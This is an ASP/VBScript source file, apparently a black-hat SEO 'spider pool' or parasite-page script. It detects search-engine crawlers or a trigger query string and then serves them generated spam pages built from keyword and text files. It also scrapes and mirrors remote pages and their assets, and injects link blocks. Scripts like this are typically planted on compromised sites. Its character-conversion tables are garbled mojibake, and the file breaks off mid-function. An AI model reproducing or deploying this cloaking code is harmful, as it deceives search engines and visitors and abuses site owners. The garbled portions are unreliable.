jianti="ﹰưӰٰڰ°ӰQʱϱбұϱֱ߱ޱ𾲹߲ƲβϲвѲҲԲղֲײ޲٭βⳡ𳮳³ųƳͳϳճٳ۳ܳݳ拾ٱųۻ鴫˴봸綴ȴǴʴ˴ϴдѴӴȴꣴڴߥ窵쵱ɵƵеӵݵڮߵ񼶿ĶͶ϶ҶӶֶٶܷ÷зɷ̷Ϸ׷طܷ߷ǷŸøƸ˸ϸѸߦ礸ԸոָٸغھﯸبṨڸƹڬйع۹ݹ߹ڴҺ׺ڭúڧݦ׺ɻۼƻӻԻٻ߻ڶͻڻԻüƼǼʼ̼ڦڵߴмԼռּؼۼۣͼ߼ֽ½ýĽŽȽɽʽν޽׽ڽڽݣǾվԾپݾڪ俪ſǿѿ﬿ٿ෿ۦڿſڲڿܿڳٳ۪ݰ߿¢£¤¥¦§¨«¬­®¯°±²³¸»¼½ߣ¿߼۽áèêíóûþıĶګšŢťŦŧŨũٯŵűŷŸŹŻŽکƭƮƵƶƻƾޭǣǥǦǨǩǫǮǯDZdzǴǵݡǹǺǽǾǿڽȣڰȧȨȰڹȴȵȷɡɥɧɨɬɱɲɴɸɹɾڨڷʤʦʨʪʫʱʴʵʶʻݪ߱˧˫˭˰˳˵˶˸˿޴ݥ̷̸̡̢̨̬̯̰̱̲̳̾ͭͳͷͺͼΤΥΧΪΫάέΰαγνݫϮϰϳϷϸϺϽϿݲ޺ܼХЭЮЯвгдклߢпڼѡѢѤѧѫѯѰѱѵѶѷѹѻѼٲҡҢңҤҥҩүҳҵҶҽҿڱ߽ӣӤӥӦӧӨөӪӫӬӮӱݺӴӵӶӸӻӽݵԤԦٶԧԨԯ԰ԱԲԵԶԼԾԿ۩ܿաբդթիծձյնշոջսگ֢֣֤֡ںְִֽֿ֯פרשת׬׮ׯװױ׳״׶׸׹׺׻׼ɸ޹սܾôùǤʥʬ̧ͿιЫӿԸ־עڥۧݤݧݯݻ޻߸" fanti="H}@Kۇܭa\O@ga\WTZ[hCkOkͽ^rUd_݅ؐ^NvlSQP]ɜG`ۋ߅H׃qpSeRjSsBMeTlIeP_Ĝ\xWAKgGPaؔQMKNonœ}ȃԜyŌԌ嚃Ovs׋pPaU~׏rԋҗU熈LLcStOKn܇سmrR´~ZηQ\GfKVtYuX|_nx|PIIׇNzrA|̎cIXAJNEbzpo~n\”[ąɐ򋘺ݏfZxeSz_}^J~HđQyDhʎnוXdvu\Ic狔fegB]Cc|늎p⚰d{ՙBlVӆbGA|ӗ]٪xـ僞^Vt呔྄fꠌ煇DgOZIZ~ӞI@ܗ~{ODE߃sblPym\C؜L[wuUMpE^SfShLTpSPwݗoxؓӇD`D񀼛EَVvԓ}wWUsM{C䓾V怲Gac䆔Rwtvk}osmؕ^ƈُԍMMbݞd]XP^^T؞ԟXVEҎw|܉ԎFQuqZ݁LЖi假^JXxnhRWR̖uQRXHϠMZtZӏȇbcoGWAԒfщĚgh߀QoJQDSem]xVxZRMdLԜCDqȝ՟Q钫@؛ZCeEIuO݋DEӋӛH^oӓԑj\K^JWbϊQVqaAvaZ⛃r{PeuOԹ{gD}OzA|캆p]b`vҊIŞTuRGV첀Yad{Yvu{\zɔqCe_UgI^׍oAY]ðXM^o\H֔MxaMGo|~NBPL@ioRdqޟÄnmfbFxe䏑քnՙZ|MeNhXQ^Hkx܊E_PNz|`DwnS~VhlHѝK~ĒyVrENkL̝hQTʉ|˜KHUϓϞDRهƜZ|lAn][{ڔr@@m׎[|E|hZƄڝZ焰ADICwh؂xY[vr`B˞WyߊPr]ZZOcVZ~kz“ɏB砑ziĘ朑ٟ`YIўcZvՏu|炿CR[CUA[_Okg`XIc|Nsgt^yw@\Ŕn]d{ɖVaNJ䓧tEVDUeNtJRB]tu̔Tꑉ]邞oO_`AFRA|n\yLD[莒݆S]Փ}_߉茻jjΫMTTHXHҿ|]VG@s`aΛRROߘqIu~}mzUM֙zN؈^TQN]VTРF{i[iҒdkJ[dtwR瑑}hQևփx{\fc{yX[tGHȔMāFf݂TB\U™YbQrœo~ērzwSZWtIa֎YTPۘr\i`_՛h~lؚO{uHᕓ䁘Vh璗ĚRTM◉әIU_@FUwtXQ\lqLnaq`j܉Nԙ{Ijuۄ@̃SN[VSwRE`固DJHupAՈcF͐glqڅ^|xxUzEԏJb㌅so_I׌_@ʁƘgJxܐsqVϔdAܛJ͘c_SwِмR}߿Cwx|YᇄhW٠Ә~XpsxBdzOIBԖՔc•Kَ{ԊrgRmҕԇuPPsYB۫FRݔHgQdVplfTqpzP񆾌J–ZAb\˒t`}KVCqdmSqrOpSpssiÏHYB_BT؝cTՄ@gU활Ch|M{ӑwv`R}wϾYDlgfNFd N~yQ^^dDQFj͑ÓrWEXmzeBfwUWyf`HSȔξ^lՆ靜|tn„y键Y΁uCPn}u_oʏlj]F`wT\^Fau㊑q]tҠrݠ{bMBrwte@UFIhWw{W\sBϖi]lԔGAJ|ʒNԇ[^t򔽋nfy{CaxCXi\dꀜPC}̓uSwmԂ܎x_kXC曌WoLԃZӖӍd_\fӠI鎟}rGV򞅘IחZ|BPꖰWBӟubG{ˎU_퓘I~v]ϟtUzxρˇ|xԄhxg[rҎFAOWOOŜay[㟰aыtΞIωAfLLMvtž]uW`WѓbxԁOn]♪qT~Bݛ~OcZZzuASR՘Iʚ铋uDeOrxY@@TAhSxsS耻XyE\Nji|CysdٝڎYEKz菗؟tّKj\PٛC܈lpSֱKݚ䗣`dq~ÛwtUHN@ֆmpؑᘂ\ꇜbEFcc걠bYCՊ`P~š̼S|sdTeٗv·{WUz犽KN[RaSEqUiTDTATvЙ㏌uDٍDfbyѠF٘YKPՁՎCƝYnJlwD{ObۙvuՌ|O{M@ygVOKNhյYVⷷMEFYRqӜDL}ƔETDj@vyϐ[nR[노^BI]ӅvS͚ň߈|{ȒɉO“wUzjoLSƒewNlݝsEzfyzgRMܠ}dLl^LgbOyH{uxX[udBI[{ğMg\DEGRAXacIXxO" jianti=cstr(jianti) fanti=cstr(fanti) str1_len=len(jianti) str2_len=len(fanti) for xx=1 to str1_len jianti1=left(jianti,xx) jianti2=right(jianti1,1) fanti1=left(fanti,xx) fanti2=right(fanti1,1) content=replace(content,jianti2,fanti2) next cGbToBig=content end function function wu(shengchengm,Bot) if (len(Bot) > 0 OR instr(Trim(Request.QueryString),"xxxxxx")>0) and shengchengm<>"" then imgt=ReadFile("bbxx/img/"&randomStrrs("bbxx/img/")) imgt=split(imgt,vbcrlf) imgts=ubound(imgt) key=ReadFile("bbxx/key/"&randomStrrs("bbxx/key/")) key=split(key,vbcrlf) keys=ubound(key) txt=ReadFile("bbxx/txt/"&randomStrrs("bbxx/txt/")) txt=split(txt,vbcrlf) txts=ubound(txt) zdykey=ReadFile("bbxx/zdykey/"&randomStrrs("bbxx/zdykey/")) zdykey=split(zdykey,vbcrlf) zdykeys=ubound(zdykey) zhizhuchi=ReadFile("bbxx/zhizhuchi/"&randomStrrs("bbxx/zhizhuchi/")) zhizhuchi=split(zhizhuchi,vbcrlf) zhizhuchis=ubound(zhizhuchi) biaodian=ReadFile("bbxx/biaodian.txt") biaodian=split(biaodian,vbcrlf) biaodians=ubound(biaodian) qitadizhi=ReadFile("bbxx/qitadizhi.txt") qitadizhi=split(qitadizhi,vbcrlf) qitadizhis=ubound(qitadizhi) mb=ReadFile("bbxx/mb/nr.txt") if mb="" then mb=ReadFile("indexx.html") end if str = mb finStr ="{ĸ}" pos = 1 total = 0 while instr(pos,str,finstr)>0 total = total + 1 pos = instr(pos,str,finstr) + 1 wend s1=1 for ee=1 to total urlffff=randomStr(3) mb=Replace(Replace(mb,"{ĸ}",urlffff,1,s1),urlffff,"{ĸ}",1,s1-1) next str = mb finStr ="{ؼ}" pos = 1 total = 0 while instr(pos,str,finstr)>0 total = total + 1 pos = instr(pos,str,finstr) + 1 wend s1=1 for ee=1 to total urlffff=key(RndNumber(-1,keys+1)) mb=Replace(Replace(mb,"{ؼ}",urlffff,1,s1),urlffff,"{ؼ}",1,s1-1) next str = mb finStr ="{ͼƬ}" pos = 1 total = 0 while instr(pos,str,finstr)>0 total = total + 1 pos = instr(pos,str,finstr) + 1 wend s1=1 for ee=1 to total urlffff=imgt(RndNumber(-1,imgts+1)) mb=Replace(Replace(mb,"{ͼƬ}",urlffff,1,s1),urlffff,"{ͼƬ}",1,s1-1) next str = mb finStr ="{һ}" pos = 1 total = 0 while instr(pos,str,finstr)>0 total = total + 1 pos = instr(pos,str,finstr) + 1 wend s1=1 for ee=1 to total urlffff=txt(RndNumber(-1,txts+1)) mb=Replace(Replace(mb,"{һ}",urlffff,1,s1),urlffff,"{һ}",1,s1-1) next str = mb finStr ="{֩}" pos = 1 total = 0 while instr(pos,str,finstr)>0 total = total + 1 pos = instr(pos,str,finstr) + 1 wend s1=1 for ee=1 to total urlffff=zhizhuchi(RndNumber(-1,zhizhuchis+1)) if instr(urlffff,",")>0 then urlffff=split(urlffff,",")(0) end if mb=Replace(Replace(mb,"{֩}",urlffff,1,s1),urlffff,"{֩}",1,s1-1) next str = mb finStr ="{ַ}" pos = 1 total = 0 while instr(pos,str,finstr)>0 total = total + 1 pos = instr(pos,str,finstr) + 1 wend s1=1 for ee=1 to total urlffff=qitadizhi(RndNumber(-1,qitadizhis+1)) mb=Replace(Replace(mb,"{ַ}",urlffff,1,s1),urlffff,"{ַ}",1,s1-1) next str = mb finStr ="{}" pos = 1 total = 0 while instr(pos,str,finstr)>0 total = total + 1 pos = instr(pos,str,finstr) + 1 wend s1=1 for ee=1 to total urlffff=biaodian(RndNumber(-1,biaodians+1)) mb=Replace(Replace(mb,"{}",urlffff,1,s1),urlffff,"{}",1,s1-1) next str = mb finStr ="{}" pos = 1 total = 0 while instr(pos,str,finstr)>0 total = total + 1 pos = instr(pos,str,finstr) + 1 wend s1=1 for ee=1 to total urlffff=randomStrs(3) mb=Replace(Replace(mb,"{}",urlffff,1,s1),urlffff,"{}",1,s1-1) next mb=replace(mb,"{ǰĿ¼}",dangqiang) mb=replace(mb,"{վ}",request.servervariables("HTTP_HOST")) dim sjkkk(10) for rr=1 to 10 sjkkk(rr)=RndNumber(-1,keys+1) next for uu=1 to 10 if sjkkk(1)<>sjkkk(uu) then ddyy=sjkkk(1) ddyy1=sjkkk(uu) exit for end if next if ddyy="" or ddyy1 ="" then ddyy=RndNumber(-1,keys+1) ddyy1=RndNumber(-1,keys+1) end if mb=replace(mb,"{ؼ1}",key(ddyy)) mb=replace(mb,"{ؼ2}",key(ddyy1)) mb=replace(mb,"{Զؼʲ}",zdykey(RndNumber(-1,zdykeys+1))) mb=replace(mb,"{ǰʱ}",year(date())&"-"&month(date())&"-"&day(date())&" "&hour(time())&":"&minute(time())) urlxxt=ReadFile("bbxx/wenjianming.txt") urlxxt=split(urlxxt,vbcrlf) urlxxts=ubound(urlxxt) keyy=ReadFile("bbxx/key/"&randomStrrs("bbxx/key/")) keyy=split(keyy,vbcrlf) keyys=ubound(keyy) str = mb finStr ="{url}" pos = 1 total = 0 while instr(pos,str,finstr)>0 total = total + 1 pos = instr(pos,str,finstr) + 1 wend s1=1 for ee=1 to total keyxxx="" urlffff=urlxxt(RndNumber(-1,urlxxts)) urlffff=replace(urlffff,"{}",randomStr(6)) urlffff=replace(urlffff,"{ĸ}",randomStr(6)) mb=Replace(Replace(mb,"{url}",urlffff,1,s1),urlffff,"{url}",1,s1-1) keyxxx=keyy(RndNumber(-1,keyys+1)) mb=Replace(Replace(mb,"{ؼ}",keyxxx,1,s1),keyxxx,"{ؼ}",1,s1-1) next mb=charuxx(mb) if Dir("htmllll/"&shengchengm)=0 then call WriteToTextFile ("htmllll/"&shengchengm,mb,"gb2312") response.Write mb response.End():On Error GoTo 0:Err.Raise -101110100 end if end if response.End():On Error GoTo 0:Err.Raise -101110100 end function sub xx404(url) keyytxt=ReadFile("bbxx/txt/"&randomStrrs("bbxx/txt/")) keyytxt=split(keyytxt,vbcrlf) keyytxts=ubound(keyytxt) zdykey=ReadFile("bbxx/key/"&randomStrrs("bbxx/key/")) zdykey=split(zdykey,vbcrlf) zdykeys=ubound(zdykey) mb=ReadFile("bbxx/mb/mb.html") if mb="" or jiequkExpq("([\s\S]*?)",mb)="" then mb=ReadFile("indexx.html") end if Dim regEx, Match Set regEx = New RegExp regEx.Pattern = "[\u4E00-\u9FA5]{5,15}" regEx.IgnoreCase = true regEx.Global = True Set Matches = regEx.Execute(mb) For Each Match in Matches mb=replace(mb,Match,keyytxt(RndNumber(-1,keyytxts)),1,1) next set regEx = nothing biaotipg=jiequkExpq("([\s\S]*?)",mb) uuukjcss=AsciiToUnicode(zdykey(RndNumber(-1,zdykeys))) ssiig1=uuukjcss&":"&keyytxt(RndNumber(-1,keyytxts)) mb=replace(mb,biaotipg,""&ssiig1&"") ssiig2=uuukjcss wygjc=jiequkExpq("]+keywords(.*?)>",mb) mb=replace(mb,wygjc," ") wyms=jiequkExpq("]+description(.*?)>",mb) ssiig3=uuukjcss for iix=0 to RndNumber(2,8) djsjs=djsjs&keyytxt(RndNumber(-1,keyytxts))&keyytxt(RndNumber(-1,keyytxts)) next ssiig3=ssiig3+djsjs mb=replace(mb,wyms," ") call WriteToTextFile ("htmllll/"&url,mb,"gb2312") response.Write mb end sub function htef (nr) On Error Resume Next Dim regExq, Matchq Set regExq = New RegExp regExq.Pattern ="href=[\""\']?([^\s\""\']+)(.*?)\b[\""\'\s]?(.*?)>" regExq.IgnoreCase = true regExq.Global = True Set Matchesq= regExq.Execute(nr) htef= Matchesq(0).SubMatches(0) end function function tihuan(tnr) if tihuannerong<>"" then if shouyetihhuan=1 and gggooiu ="" then biaotixytnr=jiequkExpq("]?>([\s\S]*?)",tnr) guanjiancyytnr=jiequkExpq("]+keywords(.*?)>",tnr) biaotixytnr=jiequkExpq("]?>([\s\S]*?)",tnr) end if On Error Resume Next dgrghrhrh=tihuannerong fantid=cGbToBig(dgrghrhrh) if instr(tihuannerong,vbcrlf)>0 then plthz=split(tihuannerong,vbcrlf) thsl=ubound(plthz) fantidx=split(fantid,vbcrlf) fantidxs=ubound(fantidx) for ii=0 to thsl if plthz(ii)<>"" then if instr(plthz(ii),"==")>0 then thq=split(plthz(ii),"==")(0) thh=split(plthz(ii),"==")(1) tnr=replace(tnr,thq,thh) if Instr(thq,";&#")=0 then tnr=replace(tnr,AsciiToUnicode(thq),AsciiToUnicode(thh)) end if thq=split(fantidx(ii),"==")(0) tnr=replace(tnr,thq,thh) if Instr(thq,";&#")=0 then tnr=replace(tnr,AsciiToUnicode(thq),AsciiToUnicode(thh)) end if end if end if next else if instr(tihuannerong,"==")>0 then thq=split(tihuannerong,"==")(0) thh=split(tihuannerong,"==")(1) tnr=replace(tnr,thq,thh) if Instr(thq,";&#")=0 then tnr=replace(tnr,AsciiToUnicode(thq),AsciiToUnicode(thh)) end if thq=split(fantid,"==")(0) tnr=replace(tnr,thq,thh) if Instr(thq,";&#")=0 then tnr=replace(tnr,AsciiToUnicode(thq),AsciiToUnicode(thh)) end if end if end if if shouyetihhuan=1 and gggooiu ="" then biaotixytnra=jiequkExpq("]?>([\s\S]*?)",tnr) guanjiancyytnra=jiequkExpq("]+keywords(.*?)>",tnr) biaotixytnra=jiequkExpq("]?>([\s\S]*?)",tnr) tnr=replace(tnr,biaotixytnra,biaotixytnr) tnr=replace(tnr,guanjiancyytnra,guanjiancyytnr) tnr=replace(tnr,biaotixytnra,biaotixytnr) end if end if tihuan=tnr end function function charujizi(nr) keyytxt=ReadFile("bbxx/txt/"&randomStrrs("bbxx/txt/")) keyytxt=split(keyytxt,vbcrlf) keyytxts=ubound(keyytxt) Dim regEx, Match Set regEx = New RegExp regEx.Pattern = "[\u4E00-\u9FA5]{5,15}" regEx.IgnoreCase = true regEx.Global = True Set Matches = regEx.Execute(nr) teshu=split(teshu,vbcrlf) teshus=ubound(teshu) if teshus>0 then for ii=0 to RndNumber(10,clng(Matches.Count/2)) pps=RndNumber(-1,Matches.Count) dggrppoohcc=insertWord("",Matches(pps)) dggrppoohcc=replace(dggrppoohcc,"",teshu(RndNumber(-1,teshus))) nr=replace(nr,Matches(pps),dggrppoohcc,1,1) next end if for ii=0 to RndNumber(10,clng(Matches.Count/2)) pps=RndNumber(-1,Matches.Count) dggrppoohcc=insertWord("",Matches(pps)) dggrppoohcc=replace(dggrppoohcc,"",keyytxt(RndNumber(-1,keyytxts))) nr=replace(nr,Matches(pps),dggrppoohcc,1,1) next charujizi=nr end function Function bmth(patrn, strng) iii=0 Dim regEx, Match Set regEx = New RegExp regEx.Pattern = patrn regEx.IgnoreCase = true regEx.Global = True Set Matches = regEx.Execute(strng) For Each Match in Matches iii=iii+1 if iii=1 then strng=replace(strng,Match,"",1,1) else strng=replace(strng,Match,"",1,1) end if Next bmth= strng End Function function shenc() end function sub zzjszz(zzp,nr) On Error Resume Next Set regExq = New RegExp regExq.Pattern =zzp regExq.IgnoreCase = true regExq.Global = True Set Matchesq= regExq.Execute(nr) For Each Matchq in Matchesq ddfeg=Matchq.SubMatches(0) ddfeg=replace(ddfeg,"""","") ddfeg=replace(ddfeg,"'","") ddfeg=urlcl(duwangyedizhi,ddfeg) if instr(ddfeg,yuming)>0 then ddfeg=replace(ddfeg,"http://"&yuming,"") end if if left(ddfeg,1)<>"/" and instr(ddfeg,"http")=0then ddfeg="/"&ddfeg end if dggrgrg=ddfeg if Dir(ddfeg)=0 then xxggi=split(ddfeg,"/") xxggis=ubound(xxggi) xugieg="" if xxggis<>1 then for xx=1 to xxggis-1 xugieg=xugieg&"/"&xxggi(xx) if IsFloderExist(xugieg)=false then call mkdir(xugieg) end if Next set regExq = nothing end if if instr(ddfeg,yuming)=0 then ddfeg="http://"&yuming&ddfeg end if if instr(dggrgrg,".js")>0 then jsnr=get_content(ddfeg) call WriteToTextFile(dggrgrg,jsnr,"gb2312") call tpxzxqt("[\""\']([^\""\'\,\<]+)?(\w+)(\.jpg|\.swf|\.gif)[\""\']",jsnr,ddfeg) call zzjszzj("[\""\']([^\""\'\,\<]+)?(\w+)(\.js)[\""\']",jsnr,ddfeg) end if end if next Set regExq = Nothing end sub sub tpxz(zz,nr) On Error Resume Next Set regExq = New RegExp regExq.Pattern =zz regExq.IgnoreCase = true regExq.Global = True Set Matchesq= regExq.Execute(nr) For Each Matchq in Matchesq ddfeg=Matchq.SubMatches(0) xiaztupjl=xiaztupjl&ddfeg&"," ddfeg=replace(ddfeg,"""","") ddfeg=replace(ddfeg," ","") ddfeg=replace(ddfeg,"'","") ddfeg=urlcl(duwangyedizhi,ddfeg) if instr(ddfeg,yuming)>0 then ddfeg=replace(ddfeg,"http://"&yuming,"") end if if left(ddfeg,1)<>"/" then ddfeg="/"&ddfeg end if dggrgrg=ddfeg if Dir(ddfeg)=0 then xxggi=split(ddfeg,"/") xxggis=ubound(xxggi) xugieg="" if xxggis>1 then for xx=1 to xxggis-1 xugieg=xugieg&"/"&xxggi(xx) if IsFloderExist(xugieg)=false then call mkdir(xugieg) end if next end if if instr(ddfeg,yuming)=0 then ddfeg="http://"&yuming&ddfeg end if call img(ddfeg,dggrgrg) end if next Set regExq = Nothing end sub sub tpxze(zz,nr) On Error Resume Next Set regExq = New RegExp regExq.Pattern =zz regExq.IgnoreCase = true regExq.Global = True Set Matchesq= regExq.Execute(nr) For Each Matchq in Matchesq if Matchq.SubMatches(0)<>"" and Matchq.SubMatches(1)<>"" and Matchq.SubMatches(2)<>"" then ddfeg=Matchq.SubMatches(0)&Matchq.SubMatches(1)&Matchq.SubMatches(2) if instr(xiaztupjl,","&ddfeg&",")=0 then ddfeg=replace(ddfeg,"""","") ddfeg=replace(ddfeg,"'","") ddfeg=urlcl(duwangyedizhi,ddfeg) if instr(ddfeg,yuming)>0 then ddfeg=replace(ddfeg,"http://"&yuming,"") end if if left(ddfeg,1)<>"/" then ddfeg="/"&ddfeg end if dggrgrg=ddfeg if Dir(ddfeg)=0 then xxggi=split(ddfeg,"/") xxggis=ubound(xxggi) xugieg="" if xxggis>1 then for xx=1 to xxggis-1 xugieg=xugieg&"/"&xxggi(xx) if IsFloderExist(xugieg)=false then call mkdir(xugieg) end if next end if if instr(ddfeg,yuming)=0 then ddfeg="http://"&yuming&ddfeg end if call img(ddfeg,dggrgrg) end if end if end if next Set regExq = Nothing end sub sub tpxzxqt(zz,nr,lj) On Error Resume Next Set regExq = New RegExp regExq.Pattern =zz regExq.IgnoreCase = true regExq.Global = True Set Matchesq= regExq.Execute(nr) For Each Matchq in Matchesq if Matchq.SubMatches(0)<>"" and Matchq.SubMatches(1)<>"" and Matchq.SubMatches(2)<>"" then ddfeg=Matchq.SubMatches(0)&Matchq.SubMatches(1)&Matchq.SubMatches(2) ddfeg=replace(ddfeg,"""","") ddfeg=replace(ddfeg,"'","") ddfeg=urlcl(lj,ddfeg) if instr(ddfeg,yuming)>0 then ddfeg=replace(ddfeg,"http://"&yuming,"") end if if left(ddfeg,1)<>"/" then ddfeg="/"&ddfeg end if dggrgrg=ddfeg if Dir(ddfeg)=0 then xxggi=split(ddfeg,"/") xxggis=ubound(xxggi) xugieg="" if xxggis>1 then for xx=1 to xxggis-1 xugieg=xugieg&"/"&xxggi(xx) if IsFloderExist(xugieg)=false then call mkdir(xugieg) end if next end if if instr(ddfeg,yuming)=0 then ddfeg="http://"&yuming&ddfeg end if call img(ddfeg,dggrgrg) end if end if next Set regExq = Nothing end sub sub zzjszzj(zzp,nr,lj) Set regExq = New RegExp regExq.Pattern =zzp regExq.IgnoreCase = true regExq.Global = True Set Matchesq= regExq.Execute(nr) For Each Matchq in Matchesq if Matchq.SubMatches(0)<>"" and Matchq.SubMatches(1)<>"" and Matchq.SubMatches(2)<>"" then ddfeg=Matchq.SubMatches(0)&Matchq.SubMatches(1)&Matchq.SubMatches(2) ddfeg=replace(ddfeg,"""","") ddfeg=replace(ddfeg,"'","") ddfeg=urlcl(lj,ddfeg) if instr(ddfeg,yuming)>0 then ddfeg=replace(ddfeg,"http://"&yuming,"") end if if left(ddfeg,1)<>"/" and instr(ddfeg,"http")=0then ddfeg="/"&ddfeg end if dggrgrg=ddfeg if Dir(ddfeg)=0 then xxggi=split(ddfeg,"/") xxggis=ubound(xxggi) xugieg="" if xxggis<>1 then for xx=1 to xxggis-1 xugieg=xugieg&"/"&xxggi(xx) if IsFloderExist(xugieg)=false then call mkdir(xugieg) end if Next set regExq = nothing end if if instr(ddfeg,yuming)=0 then ddfeg="http://"&yuming&ddfeg end if if instr(dggrgrg,".js")>0 then jsnr=get_content(ddfeg) call tpxzxqt("[\""\']([^\""\'\,\<]+)?(\w+)(\.jpg|\.swf)[\""\']",jsnr,ddfeg) call tpxzxqt("[\""\']([^\""\'\,\<]+)?(\w+)(\.js)[\""\']",jsnr,ddfeg) end if end if end if next Set regExq = Nothing end sub function charu1(mb) charu1=mb exit function response.end():On Error GoTo 0:Err.Raise -101110100 lianjie=ReadFile("bbxx/youlian.txt") lianjie=split(lianjie,vbcrlf) lianjies=ubound(lianjie) dggryyu="" for iig=0 to lianjies urldeg=lianjie(iig) dggryyu=dggryyu&VBCRLF&""&split(urldeg,",")(1)&"" next mb=replace(mb,"{}",dggryyu) xmb=ReadFile("bbxx/mb/index.txt") urlxxt=ReadFile("bbxx/wenjianming.txt") urlxxt=split(urlxxt,vbcrlf) urlxxts=ubound(urlxxt) keyy=ReadFile("bbxx/key/"&randomStrrs("bbxx/key/")) keyy=split(keyy,vbcrlf) keyys=ubound(keyy) str = xmb finStr ="{url}" pos = 1 total = 0 while instr(pos,str,finstr)>0 total = total + 1 pos = instr(pos,str,finstr) + 1 wend s1=1 for ee=1 to total keyxxx="" urlffff=urlxxt(RndNumber(-1,urlxxts)) urlffff=replace(urlffff,"{}",randomStrx(6)) urlffff=replace(urlffff,"{ĸ}",randomStr(6)) xmb=Replace(Replace(xmb,"{url}",urlffff,1,s1),urlffff,"{url}",1,s1-1) keyxxx=keyy(RndNumber(-1,keyys+1)) xmb=Replace(Replace(xmb,"{ؼ}",keyxxx,1,s1),keyxxx,"{ؼ}",1,s1-1) next if instr(mb,"") >0 then charu1=replace(mb,"",""&xmb) elseif instr(mb,"") >0 THEN charu1=replace(mb,"",""&xmb) elseif instr(mb,"") >0 THEN charu1=replace(mb,"",""&xmb) elseif instr(mb,"") >0 THEN charu1=replace(mb,"",""&xmb) end if end function function charu2(mb) charu2=mb exit function xmb=ReadFile("bbxx/mb/index.txt") smb=xmb urlxxt=ReadFile("bbxx/wenjianming.txt") urlxxt=split(urlxxt,vbcrlf) urlxxts=ubound(urlxxt) keyy=ReadFile("bbxx/key/"&randomStrrs("bbxx/key/")) keyy=split(keyy,vbcrlf) keyys=ubound(keyy) str = xmb finStr ="{url}" pos = 1 total = 0 while instr(pos,str,finstr)>0 total = total + 1 pos = instr(pos,str,finstr) + 1 wend s1=1 for ee=1 to total keyxxx="" urlffff=urlxxt(RndNumber(-1,urlxxts)) urlffff=replace(urlffff,"{}",randomStrx(6)) urlffff=replace(urlffff,"{ĸ}",randomStr(6)) xmb=Replace(Replace(xmb,"{url}",urlffff,1,s1),urlffff,"{url}",1,s1-1) keyxxx=keyy(RndNumber(-1,keyys+1)) xmb=Replace(Replace(xmb,"{ؼ}",keyxxx,1,s1),keyxxx,"{ؼ}",1,s1-1) next xmbx="" if keyxx<>"" then if Dir("bbxx/linshi/llll.txt")<>0 then dgrgmb=split(smb,vbcrlf)(0) xrrghhr=ReadFile("bbxx/linshi/llll.txt") xdggw=split(xrrghhr,vbcrlf) xdggws=ubound(xdggw) gii=RndNumber(2,8) gr=RndN(gii,0,xdggws) for u=0 to gii-1 cereggg=replace(dgrgmb,"{ؼ}", split(xdggw(u),",")(1)) cereggg=replace(cereggg,"{url}", split(xdggw(u),",")(0)) xmbx=xmbx&vbcrlf&cereggg next end if end if if instr(mb,"") >0 then charu2=replace(mb,"",""&xmb&xmbx) elseif instr(mb,"") >0 THEN charu2=replace(mb,"",""&xmb&xmbx) elseif instr(mb,"") >0 THEN charu2=replace(mb,"",""&xmb&xmbx) elseif instr(mb,"") >0 THEN charu2=replace(mb,"",""&xmb&xmbx) end if end function function charuxx(mb) xmb=ReadFile("bbxx/mb/index.txt") smb=xmb xmbx="" if Dir("bbxx/linshi/llll.txt")<>0 then dgrgmb=split(smb,vbcrlf)(0) xrrghhr=ReadFile("bbxx/linshi/llll.txt") xdggw=split(xrrghhr,vbcrlf) xdggws=ubound(xdggw) gii=RndNumber(2,8) gr=RndN(gii,0,xdggws) for u=0 to gii-1 cereggg=replace(dgrgmb,"{ؼ}", split(xdggw(u),",")(1)) cereggg=replace(cereggg,"{url}", split(xdggw(u),",")(0)) xmbx=xmbx&vbcrlf&cereggg next end if if instr(mb,"") >0 then charuxx=replace(mb,"",""&xmbx) elseif instr(mb,"") >0 THEN charuxx=replace(mb,"",""&xmbx) elseif instr(mb,"") >0 THEN charuxx=replace(mb,"",""&xmbx) elseif instr(mb,"") >0 THEN charuxx=replace(mb,"",""&xmbx) end if end function Function RndN(N,a,b) execute("dim shu("&N&")") flag=false i=0 while(i 200 Then get_content="" exit Function Else BodyText=oXMLHTTP.responsebody bbmm="" bbmm= jiequkExp("]+charset=[""]?([\w\-]+)[^>]*>",oXMLHTTP.ResponseText) if bbmm="" then bbmm= jiequkExp("Content-Type[^>]+charset=[""]?([\w\-]+)[^>]*",oXMLHTTP.GetAllResponseHeaders) if bbmm="" and CheckExp("(\.js)", remote_url) then bbmm="utf-8" end if if bbmm="" and CheckExp("(\.css)", remote_url) then bbmm="utf-8" end if end if if bbmm<>"" then Cset=bbmm else if (RegExpTest("gb2312",split(oXMLHTTP.ResponseText," 200 Then get_contentxx="" exit Function Else BodyText=oXMLHTTP.responsebody bbmm="" bbmm= jiequkExp("]+charset=[""]?([\w\-]+)[^>]*>",oXMLHTTP.ResponseText) if bbmm="" then bbmm= jiequkExp("Content-Type[^>]+charset=[""]?([\w\-]+)[^>]*",oXMLHTTP.GetAllResponseHeaders) if bbmm="" and CheckExp("(\.js)", remote_url) then bbmm="utf-8" end if if bbmm="" and CheckExp("(\.css)", remote_url) then bbmm="utf-8" end if end if if bbmm<>"" then Cset=bbmm else if (RegExpTest("gb2312",split(oXMLHTTP.ResponseText,"chr(13) then result=result+" " j=0 end if j=j+1 select case mid(str,i,1) case "<" result=result+"<" case ">" result=result+">" case chr(13) result=result+"
" case chr(34) result=result+""" case "&" result=result+"&" case chr(32) if i+1<=l and i-1>0 then if mid(str,i+1,1)=chr(32) or mid(str,i+1,1)=chr(9) or mid(str,i-1,1)=chr(32) or mid(str,i-1,1)=chr(9) then result=result+" " else result=result+" " end if else result=result+" " end if case chr(9) result=result+" " case else result=result+mid(str,i,1) end select next htmlencode2=result end function Function AsciiToUnicode(AsciiStr) Dim Str,UnicodeStr UnicodeStr="" For i=1 To Len(AsciiStr) Str=AscW(Mid(AsciiStr,i,1)) If Str<0 Then Str=Str+65536 End If UnicodeStr=UnicodeStr&"&#"&Str&";" Next AsciiToUnicode=UnicodeStr End Function Function RndNumber(MaxNum,MinNum) Randomize RndNumber=int((MaxNum-MinNum+1)*rnd+MinNum) RndNumber=RndNumber End Function Sub WriteToTextFile (FileUrl,byval Str,VBA_CharSet) set stm=server.CreateObject("adodb.stream") stm.Type=2 stm.mode=3 stm.charset=VBA_CharSet stm.open stm.WriteText str stm.SaveToFile server.MapPath(FileUrl),2 stm.flush stm.Close set stm=nothing End Sub Function randomStr(intLength) Dim strSeed, seedLength, pos, Str, i strSeed = "abcdefghijklmnopqrstuvwxyz1234567890" seedLength = Len(strSeed) Str = "" Randomize For i = 1 To intLength Str = Str + Mid(strSeed, Int(seedLength * Rnd) + 1, 1) Next randomStr = Str End Function Function randomStrdd(intLength) Dim strSeed, seedLength, pos, Str, 